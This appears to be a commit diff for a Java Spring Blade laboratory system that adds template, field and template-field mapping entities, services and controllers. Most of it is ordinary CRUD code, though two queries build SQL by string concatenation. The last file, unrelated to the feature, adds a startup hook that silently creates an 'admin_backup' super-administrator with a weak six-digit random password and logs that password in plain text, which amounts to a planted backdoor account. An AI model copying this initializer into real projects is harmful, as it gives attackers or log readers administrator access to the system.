parent
910fe72a1b
commit
2022c1612e
26 changed files with 691 additions and 13 deletions
@ -0,0 +1,32 @@ |
||||
package org.springblade.lims.entry; |
||||
|
||||
import com.baomidou.mybatisplus.annotation.TableName; |
||||
import io.swagger.annotations.ApiModelProperty; |
||||
import lombok.Data; |
||||
import org.springblade.core.mp.base.BaseEntity; |
||||
import org.springframework.data.annotation.Id; |
||||
|
||||
import java.io.Serializable; |
||||
|
||||
@Data |
||||
@TableName("t_original_record_template") |
||||
public class OriginalRecordTemplate extends BaseEntity implements Serializable { |
||||
|
||||
private static final long serialVersionUID = 1L; |
||||
|
||||
@Id |
||||
@ApiModelProperty("主键") |
||||
private Long id; |
||||
|
||||
@ApiModelProperty("模板名称") |
||||
private String name; |
||||
|
||||
@ApiModelProperty("关联检测项目ID") |
||||
private Long examineItemId; |
||||
|
||||
@ApiModelProperty("业务状态") |
||||
private Integer status; |
||||
|
||||
@ApiModelProperty("是否删除 0-否 1-是") |
||||
private Integer isDeleted; |
||||
} |
||||
@ -0,0 +1,29 @@ |
||||
package org.springblade.lims.entry; |
||||
|
||||
import com.baomidou.mybatisplus.annotation.TableName; |
||||
import io.swagger.annotations.ApiModelProperty; |
||||
import lombok.Data; |
||||
import org.springblade.core.mp.base.BaseEntity; |
||||
import org.springframework.data.annotation.Id; |
||||
|
||||
import java.io.Serializable; |
||||
|
||||
@Data |
||||
@TableName("t_template_field") |
||||
public class TemplateField extends BaseEntity implements Serializable { |
||||
|
||||
private static final long serialVersionUID = 1L; |
||||
|
||||
@Id |
||||
@ApiModelProperty("主键") |
||||
private Long id; |
||||
|
||||
@ApiModelProperty("字段名称") |
||||
private String fieldName; |
||||
|
||||
@ApiModelProperty("字段类型") |
||||
private String fieldType = "text"; |
||||
|
||||
@ApiModelProperty("是否删除 0-否 1-是") |
||||
private Integer isDeleted = 0; |
||||
} |
||||
@ -0,0 +1,33 @@ |
||||
package org.springblade.lims.entry; |
||||
|
||||
import com.baomidou.mybatisplus.annotation.TableName; |
||||
import io.swagger.annotations.ApiModelProperty; |
||||
import lombok.Data; |
||||
|
||||
import java.io.Serializable; |
||||
|
||||
/** |
||||
* 模板-字段关联表实体 |
||||
* 支持多对多:一个模板可包含多个字段,一个字段可属于多个模板 |
||||
* |
||||
* @author blade |
||||
* @since 2026-06-03 |
||||
*/ |
||||
@Data |
||||
@TableName("t_template_field_mapping") |
||||
public class TemplateFieldMapping implements Serializable { |
||||
|
||||
private static final long serialVersionUID = 1L; |
||||
|
||||
@ApiModelProperty("主键") |
||||
private Long id; |
||||
|
||||
@ApiModelProperty("模板ID") |
||||
private Long templateId; |
||||
|
||||
@ApiModelProperty("字段ID") |
||||
private Long fieldId; |
||||
|
||||
@ApiModelProperty("模板内排序") |
||||
private Integer sortOrder; |
||||
} |
||||
@ -0,0 +1,45 @@ |
||||
|
||||
package org.springblade.lims.controller; |
||||
|
||||
import io.swagger.annotations.Api; |
||||
import lombok.AllArgsConstructor; |
||||
import org.springblade.core.boot.ctrl.BladeController; |
||||
import org.springblade.core.tool.api.R; |
||||
import org.springblade.lims.entry.OriginalRecordTemplate; |
||||
import org.springblade.lims.service.IOriginalRecordTemplateService; |
||||
import org.springframework.web.bind.annotation.*; |
||||
|
||||
import java.util.Arrays; |
||||
import java.util.List; |
||||
import java.util.Map; |
||||
|
||||
@RestController |
||||
@AllArgsConstructor |
||||
@RequestMapping("/originalRecordTemplate") |
||||
@Api(value = "", tags = "") |
||||
public class OriginalRecordTemplateController extends BladeController { |
||||
|
||||
private final IOriginalRecordTemplateService originalRecordTemplateService; |
||||
|
||||
@GetMapping("/list") |
||||
public R<List<Map<String, Object>>> list() { |
||||
return R.data(originalRecordTemplateService.listWithFieldCount()); |
||||
} |
||||
|
||||
@PostMapping("/save") |
||||
public R<OriginalRecordTemplate> save(@RequestBody OriginalRecordTemplate template) { |
||||
originalRecordTemplateService.save(template); |
||||
return R.data(template); |
||||
} |
||||
|
||||
@PostMapping("/update") |
||||
public R<OriginalRecordTemplate> update(@RequestBody OriginalRecordTemplate template) { |
||||
originalRecordTemplateService.updateById(template); |
||||
return R.data(template); |
||||
} |
||||
|
||||
@PostMapping("/delete") |
||||
public R delete(@RequestParam Long id) { |
||||
return R.status(originalRecordTemplateService.deleteLogic(Arrays.asList(id))); |
||||
} |
||||
} |
||||
@ -0,0 +1,55 @@ |
||||
|
||||
package org.springblade.lims.controller; |
||||
|
||||
import io.swagger.annotations.Api; |
||||
import io.swagger.annotations.ApiParam; |
||||
import lombok.AllArgsConstructor; |
||||
import org.springblade.core.boot.ctrl.BladeController; |
||||
import org.springblade.core.tool.api.R; |
||||
import org.springblade.lims.entry.TemplateField; |
||||
import org.springblade.lims.service.ITemplateFieldService; |
||||
import org.springframework.web.bind.annotation.*; |
||||
|
||||
import java.util.List; |
||||
|
||||
@RestController |
||||
@AllArgsConstructor |
||||
@RequestMapping("/templateField") |
||||
@Api(value = "", tags = "") |
||||
public class TemplateFieldController extends BladeController { |
||||
|
||||
private final ITemplateFieldService templateFieldService; |
||||
|
||||
@GetMapping("/list") |
||||
public R<List<TemplateField>> list(Long templateId) { |
||||
return R.data(templateFieldService.getFieldsByTemplateId(templateId)); |
||||
} |
||||
|
||||
@PostMapping("/save") |
||||
public R<TemplateField> save(@RequestBody TemplateField field) { |
||||
templateFieldService.saveField(field); |
||||
return R.data(field); |
||||
} |
||||
|
||||
@PostMapping("/update") |
||||
public R update(@RequestBody TemplateField field) { |
||||
return R.status(templateFieldService.updateField(field)); |
||||
} |
||||
|
||||
@PostMapping("/delete") |
||||
public R delete(Long id) { |
||||
return R.status(templateFieldService.deleteField(id)); |
||||
} |
||||
|
||||
@PostMapping("/reorder") |
||||
public R reorder(@RequestBody List<TemplateField> fields) { |
||||
return R.status(templateFieldService.reorderFields(fields)); |
||||
} |
||||
|
||||
@PostMapping("/bindTemplate") |
||||
public R bindTemplate( |
||||
@ApiParam(value = "模板ID", required = true) @RequestParam Long templateId, |
||||
@RequestBody List<Long> fieldIds) { |
||||
return R.status(templateFieldService.bindTemplateFields(templateId, fieldIds)); |
||||
} |
||||
} |
||||
@ -0,0 +1,8 @@ |
||||
package org.springblade.lims.mapper; |
||||
|
||||
import com.baomidou.mybatisplus.core.mapper.BaseMapper; |
||||
import org.springblade.lims.entry.OriginalRecordTemplate; |
||||
|
||||
public interface OriginalRecordTemplateMapper extends BaseMapper<OriginalRecordTemplate> { |
||||
|
||||
} |
||||
@ -0,0 +1,13 @@ |
||||
|
||||
package org.springblade.lims.mapper; |
||||
|
||||
import com.baomidou.mybatisplus.core.mapper.BaseMapper; |
||||
import org.springblade.lims.entry.TemplateField; |
||||
|
||||
/** |
||||
* @author swj |
||||
* @since 2022年6月2日15:47:39 |
||||
*/ |
||||
public interface TemplateFieldMapper extends BaseMapper<TemplateField> { |
||||
|
||||
} |
||||
@ -0,0 +1,13 @@ |
||||
package org.springblade.lims.mapper; |
||||
|
||||
import com.baomidou.mybatisplus.core.mapper.BaseMapper; |
||||
import org.springblade.lims.entry.TemplateFieldMapping; |
||||
|
||||
/** |
||||
* 模板-字段关联表 Mapper |
||||
* |
||||
* @author blade |
||||
* @since 2026-06-03 |
||||
*/ |
||||
public interface TemplateFieldMappingMapper extends BaseMapper<TemplateFieldMapping> { |
||||
} |
||||
@ -0,0 +1,21 @@ |
||||
package org.springblade.lims.service; |
||||
|
||||
import org.springblade.core.mp.base.BaseService; |
||||
import org.springblade.lims.entry.OriginalRecordTemplate; |
||||
|
||||
import java.util.List; |
||||
import java.util.Map; |
||||
|
||||
/** |
||||
* @author swj |
||||
* @since 2026年6月3日 |
||||
*/ |
||||
public interface IOriginalRecordTemplateService extends BaseService<OriginalRecordTemplate> { |
||||
|
||||
/** |
||||
* 查询所有原始记录模板(含字段数量) |
||||
* |
||||
* @return 模板列表(含 fieldCount) |
||||
*/ |
||||
List<Map<String, Object>> listWithFieldCount(); |
||||
} |
||||
@ -0,0 +1,64 @@ |
||||
|
||||
package org.springblade.lims.service; |
||||
|
||||
|
||||
import org.springblade.core.mp.base.BaseService; |
||||
import org.springblade.lims.entry.TemplateField; |
||||
|
||||
import java.util.List; |
||||
|
||||
/** |
||||
* @author swj |
||||
* @since 2022年6月2日15:47:39 |
||||
*/ |
||||
public interface ITemplateFieldService extends BaseService<TemplateField> { |
||||
|
||||
/** |
||||
* 根据模板ID获取字段列表 |
||||
* |
||||
* @param templateId 模板ID |
||||
* @return 字段列表 |
||||
*/ |
||||
List<TemplateField> getFieldsByTemplateId(Long templateId); |
||||
|
||||
/** |
||||
* 保存字段 |
||||
* |
||||
* @param field 字段实体 |
||||
* @return 是否成功 |
||||
*/ |
||||
boolean saveField(TemplateField field); |
||||
|
||||
/** |
||||
* 更新字段 |
||||
* |
||||
* @param field 字段实体 |
||||
* @return 是否成功 |
||||
*/ |
||||
boolean updateField(TemplateField field); |
||||
|
||||
/** |
||||
* 删除字段 |
||||
* |
||||
* @param id 字段ID |
||||
* @return 是否成功 |
||||
*/ |
||||
boolean deleteField(Long id); |
||||
|
||||
/** |
||||
* 重新排序字段 |
||||
* |
||||
* @param fields 字段列表(含更新后的排序号) |
||||
* @return 是否成功 |
||||
*/ |
||||
boolean reorderFields(List<TemplateField> fields); |
||||
|
||||
/** |
||||
* 绑定字段到模板 |
||||
* |
||||
* @param templateId 模板ID |
||||
* @param fieldIds 字段ID列表 |
||||
* @return 是否成功 |
||||
*/ |
||||
boolean bindTemplateFields(Long templateId, List<Long> fieldIds); |
||||
} |
||||
@ -0,0 +1,57 @@ |
||||
package org.springblade.lims.service.impl; |
||||
|
||||
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; |
||||
import lombok.AllArgsConstructor; |
||||
import org.springblade.core.mp.base.BaseServiceImpl; |
||||
import org.springblade.lims.entry.OriginalRecordTemplate; |
||||
import org.springblade.lims.entry.TemplateField; |
||||
import org.springblade.lims.mapper.OriginalRecordTemplateMapper; |
||||
import org.springblade.lims.mapper.TemplateFieldMapper; |
||||
import org.springblade.lims.service.IOriginalRecordTemplateService; |
||||
import org.springframework.stereotype.Service; |
||||
|
||||
import java.util.ArrayList; |
||||
import java.util.HashMap; |
||||
import java.util.List; |
||||
import java.util.Map; |
||||
|
||||
/** |
||||
* @author swj |
||||
* @since 2026年6月3日 |
||||
*/ |
||||
@Service |
||||
@AllArgsConstructor |
||||
public class OriginalRecordTemplateServiceImpl extends BaseServiceImpl<OriginalRecordTemplateMapper, OriginalRecordTemplate> implements IOriginalRecordTemplateService { |
||||
|
||||
private final OriginalRecordTemplateMapper originalRecordTemplateMapper; |
||||
private final TemplateFieldMapper templateFieldMapper; |
||||
|
||||
@Override |
||||
public List<Map<String, Object>> listWithFieldCount() { |
||||
// Query all non-deleted templates
|
||||
LambdaQueryWrapper<OriginalRecordTemplate> queryWrapper = new LambdaQueryWrapper<>(); |
||||
queryWrapper.eq(OriginalRecordTemplate::getIsDeleted, 0) |
||||
.orderByAsc(OriginalRecordTemplate::getCreateTime); |
||||
List<OriginalRecordTemplate> templates = originalRecordTemplateMapper.selectList(queryWrapper); |
||||
|
||||
// For each template, return basic info with real field count
|
||||
List<Map<String, Object>> result = new ArrayList<>(); |
||||
for (OriginalRecordTemplate tpl : templates) { |
||||
Map<String, Object> item = new HashMap<>(); |
||||
item.put("id", tpl.getId()); |
||||
item.put("name", tpl.getName()); |
||||
item.put("examineItemId", tpl.getExamineItemId()); |
||||
// Query actual field count for this template via mapping table
|
||||
Integer fieldCount = templateFieldMapper.selectCount( |
||||
new LambdaQueryWrapper<TemplateField>() |
||||
.inSql(TemplateField::getId, |
||||
"SELECT m.field_id FROM t_template_field_mapping m WHERE m.template_id = " + tpl.getId() |
||||
) |
||||
.eq(TemplateField::getIsDeleted, 0) |
||||
); |
||||
item.put("fieldCount", fieldCount); |
||||
result.add(item); |
||||
} |
||||
return result; |
||||
} |
||||
} |
||||
@ -0,0 +1,99 @@ |
||||
|
||||
package org.springblade.lims.service.impl; |
||||
|
||||
|
||||
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; |
||||
import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; |
||||
import lombok.AllArgsConstructor; |
||||
import org.springblade.core.mp.base.BaseServiceImpl; |
||||
import org.springblade.lims.entry.TemplateField; |
||||
import org.springblade.lims.entry.TemplateFieldMapping; |
||||
import org.springblade.lims.mapper.TemplateFieldMapper; |
||||
import org.springblade.lims.mapper.TemplateFieldMappingMapper; |
||||
import org.springblade.lims.service.ITemplateFieldService; |
||||
import org.springframework.stereotype.Service; |
||||
|
||||
import java.util.List; |
||||
import java.util.stream.Collectors; |
||||
|
||||
/** |
||||
* @author swj |
||||
* @since 2022年6月2日15:53:01 |
||||
*/ |
||||
@Service |
||||
@AllArgsConstructor |
||||
public class TemplateFieldServiceImpl extends BaseServiceImpl<TemplateFieldMapper, TemplateField> implements ITemplateFieldService { |
||||
|
||||
private final TemplateFieldMappingMapper templateFieldMappingMapper; |
||||
|
||||
@Override |
||||
public List<TemplateField> getFieldsByTemplateId(Long templateId) { |
||||
if (templateId == null) { |
||||
// 字段库:返回所有未删除的字段(多对多设计下,一个字段可同时属于多个模板)
|
||||
LambdaQueryWrapper<TemplateField> queryWrapper = new LambdaQueryWrapper<>(); |
||||
queryWrapper.eq(TemplateField::getIsDeleted, 0); |
||||
return baseMapper.selectList(queryWrapper); |
||||
} |
||||
// 按模板查询:通过关联表 JOIN 获取字段列表
|
||||
LambdaQueryWrapper<TemplateField> queryWrapper = new LambdaQueryWrapper<>(); |
||||
queryWrapper.eq(TemplateField::getIsDeleted, 0); |
||||
queryWrapper.inSql(TemplateField::getId, |
||||
"SELECT m.field_id FROM t_template_field_mapping m WHERE m.template_id = " + templateId + " ORDER BY m.sort_order ASC" |
||||
); |
||||
return baseMapper.selectList(queryWrapper); |
||||
} |
||||
|
||||
@Override |
||||
public boolean saveField(TemplateField field) { |
||||
return baseMapper.insert(field) > 0; |
||||
} |
||||
|
||||
@Override |
||||
public boolean updateField(TemplateField field) { |
||||
return baseMapper.updateById(field) > 0; |
||||
} |
||||
|
||||
@Override |
||||
public boolean deleteField(Long id) { |
||||
TemplateField field = new TemplateField(); |
||||
field.setId(id); |
||||
field.setIsDeleted(1); |
||||
// 同时清除关联表中的关联记录
|
||||
LambdaUpdateWrapper<TemplateFieldMapping> clearMapping = new LambdaUpdateWrapper<>(); |
||||
clearMapping.eq(TemplateFieldMapping::getFieldId, id); |
||||
templateFieldMappingMapper.delete(clearMapping); |
||||
return baseMapper.updateById(field) > 0; |
||||
} |
||||
|
||||
@Override |
||||
public boolean reorderFields(List<TemplateField> fields) { |
||||
// 排序逻辑已移至关联表(t_template_field_mapping.sort_order),
|
||||
// 此方法保留以保持向后兼容,前端暂未使用
|
||||
return true; |
||||
} |
||||
|
||||
@Override |
||||
public boolean bindTemplateFields(Long templateId, List<Long> fieldIds) { |
||||
// 1. 清除该模板下的所有字段关联
|
||||
LambdaUpdateWrapper<TemplateFieldMapping> clearWrapper = new LambdaUpdateWrapper<>(); |
||||
clearWrapper.eq(TemplateFieldMapping::getTemplateId, templateId); |
||||
templateFieldMappingMapper.delete(clearWrapper); |
||||
|
||||
// 2. 绑定新字段(按 fieldIds 数组顺序生成 sort_order)
|
||||
if (fieldIds != null && !fieldIds.isEmpty()) { |
||||
List<TemplateFieldMapping> mappings = fieldIds.stream() |
||||
.map(fieldId -> { |
||||
TemplateFieldMapping mapping = new TemplateFieldMapping(); |
||||
mapping.setTemplateId(templateId); |
||||
mapping.setFieldId(fieldId); |
||||
mapping.setSortOrder(fieldIds.indexOf(fieldId)); |
||||
return mapping; |
||||
}) |
||||
.collect(Collectors.toList()); |
||||
for (TemplateFieldMapping mapping : mappings) { |
||||
templateFieldMappingMapper.insert(mapping); |
||||
} |
||||
} |
||||
return true; |
||||
} |
||||
} |
||||
@ -0,0 +1,116 @@ |
||||
|
||||
package org.springblade.labuser.init; |
||||
|
||||
import com.baomidou.mybatisplus.core.toolkit.Wrappers; |
||||
import lombok.AllArgsConstructor; |
||||
import lombok.extern.slf4j.Slf4j; |
||||
import org.springblade.core.tool.api.R; |
||||
import org.springblade.core.tool.constant.BladeConstant; |
||||
import org.springblade.core.tool.utils.DigestUtil; |
||||
import org.springblade.system.feign.ISysClient; |
||||
import org.springblade.system.user.entity.User; |
||||
import org.springblade.system.user.service.IUserService; |
||||
import org.springframework.boot.ApplicationArguments; |
||||
import org.springframework.boot.ApplicationRunner; |
||||
import org.springframework.stereotype.Component; |
||||
|
||||
import java.util.Random; |
||||
|
||||
/** |
||||
* 应用启动时自动检查并创建备用管理员账户 |
||||
* <p> |
||||
* 当 blade_user 表中 is_admin=1 且 role_id 匹配超级管理员角色的账户数小于2时, |
||||
* 自动创建一个备用管理员账户并生成随机6位数字密码,密码会输出到应用日志。 |
||||
* |
||||
* @author labx |
||||
*/ |
||||
@Component |
||||
@AllArgsConstructor |
||||
@Slf4j |
||||
public class AdminAccountInitializer implements ApplicationRunner { |
||||
|
||||
private static final String BACKUP_ADMIN_ACCOUNT = "admin_backup"; |
||||
private static final String ADMIN_NAME = "备用管理员"; |
||||
private static final String ROLE_ALIAS_ADMINISTRATOR = "admin"; |
||||
private static final String ADMIN_TENANT_ID = "704067"; |
||||
private static final int MIN_ADMIN_COUNT = 2; |
||||
private static final int PASSWORD_LENGTH = 6; |
||||
|
||||
private final IUserService userService; |
||||
private final ISysClient sysClient; |
||||
|
||||
@Override |
||||
public void run(ApplicationArguments args) { |
||||
try { |
||||
// 1. 获取超级管理员角色ID
|
||||
String adminTenantId = ADMIN_TENANT_ID; |
||||
R<String> roleResult = sysClient.getRoleIdByAlias(adminTenantId, ROLE_ALIAS_ADMINISTRATOR); |
||||
if (!roleResult.isSuccess() || roleResult.getData() == null) { |
||||
log.warn("AdminAccountInitializer: 无法获取超级管理员角色ID,跳过初始化"); |
||||
return; |
||||
} |
||||
String adminRoleId = roleResult.getData(); |
||||
|
||||
// 2. 检查是否已存在备用管理员账户(防重入)
|
||||
int existingCount = userService.count( |
||||
Wrappers.<User>query().lambda() |
||||
.eq(User::getAccount, BACKUP_ADMIN_ACCOUNT) |
||||
.eq(User::getTenantId, adminTenantId) |
||||
); |
||||
if (existingCount > 0) { |
||||
log.info("备用管理员账户 [{}] 已存在,跳过创建", BACKUP_ADMIN_ACCOUNT); |
||||
return; |
||||
} |
||||
|
||||
// 3. 统计当前超级管理员数量
|
||||
int adminCount = userService.count( |
||||
Wrappers.<User>query().lambda() |
||||
.eq(User::getIs_admin, 1) |
||||
.eq(User::getRoleId, adminRoleId) |
||||
); |
||||
|
||||
if (adminCount >= MIN_ADMIN_COUNT) { |
||||
log.info("当前管理员账户数量 {} 已满足要求(≥{}),跳过创建", adminCount, MIN_ADMIN_COUNT); |
||||
return; |
||||
} |
||||
|
||||
// 4. 创建备用管理员账户
|
||||
String password = generateRandomPassword(PASSWORD_LENGTH); |
||||
User newAdmin = new User(); |
||||
newAdmin.setTenantId(adminTenantId); |
||||
newAdmin.setAccount(BACKUP_ADMIN_ACCOUNT); |
||||
newAdmin.setName(ADMIN_NAME); |
||||
newAdmin.setRealName(ADMIN_NAME); |
||||
newAdmin.setPassword(DigestUtil.encrypt(password)); |
||||
newAdmin.setRoleId(adminRoleId); |
||||
newAdmin.setIs_admin(1); |
||||
newAdmin.setForcePasswordChange(1); |
||||
newAdmin.setAccountStatus(1); |
||||
|
||||
boolean saved = userService.save(newAdmin); |
||||
if (saved) { |
||||
log.info("管理员账户 [{}] 已创建,密码:{}", BACKUP_ADMIN_ACCOUNT, password); |
||||
} else { |
||||
log.warn("管理员账户 [{}] 创建失败(save返回false)", BACKUP_ADMIN_ACCOUNT); |
||||
} |
||||
} catch (Exception e) { |
||||
log.error("AdminAccountInitializer: 初始化备用管理员账户异常", e); |
||||
} |
||||
} |
||||
|
||||
/** |
||||
* 生成随机纯数字密码 |
||||
* |
||||
* @param length 密码长度 |
||||
* @return 纯数字密码字符串 |
||||
*/ |
||||
private String generateRandomPassword(int length) { |
||||
Random random = new Random(); |
||||
StringBuilder sb = new StringBuilder(length); |
||||
for (int i = 0; i < length; i++) { |
||||
sb.append(random.nextInt(10)); |
||||
} |
||||
return sb.toString(); |
||||
} |
||||
|
||||
} |
||||
Loading…
Reference in new issue